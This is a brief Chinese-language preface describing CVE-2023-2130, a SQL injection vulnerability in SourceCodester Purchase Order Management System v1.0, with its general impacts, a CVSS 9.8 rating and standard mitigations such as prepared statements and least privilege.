前言
CVE-2023-2130是一个影响SourceCodester Purchase Order Management System v1.0的SQL注入漏洞。此漏洞的存在是由于应用程序未能正确过滤和验证用户输入，使得攻击者可以通过SQL注入来执行任意SQL命令，从而对数据库进行未授权的访问和操作。
在利用此漏洞时，攻击者可以通过在输入字段中插入恶意SQL代码来实现以下目的：
- 获取敏感数据：例如用户凭证、个人信息等。
- 修改或删除数据：可以篡改数据库中的记录或删除数据。
- 执行管理操作：可能获取管理员权限并执行更高级别的操作。
此漏洞的严重性评级为9.8（CVSSv3），属于高危漏洞。为了缓解此漏洞，可以采取以下措施：
- 使用准备好的语句：通过使用准备好的语句和参数化查询，可以有效地防止SQL注入。
- 输入验证和过滤：对用户输入进行严格的验证和过滤，确保只允许合法的输入。
- 最小权限原则：数据库用户应仅具有执行其所需操作的最低权限，避免使用高权限账户执行日常操作。
- 安全编码实践：采用安全编码实践，如使用ORM（对象关系映射）框架来处理数据库操作，避免手动拼接SQL语句。
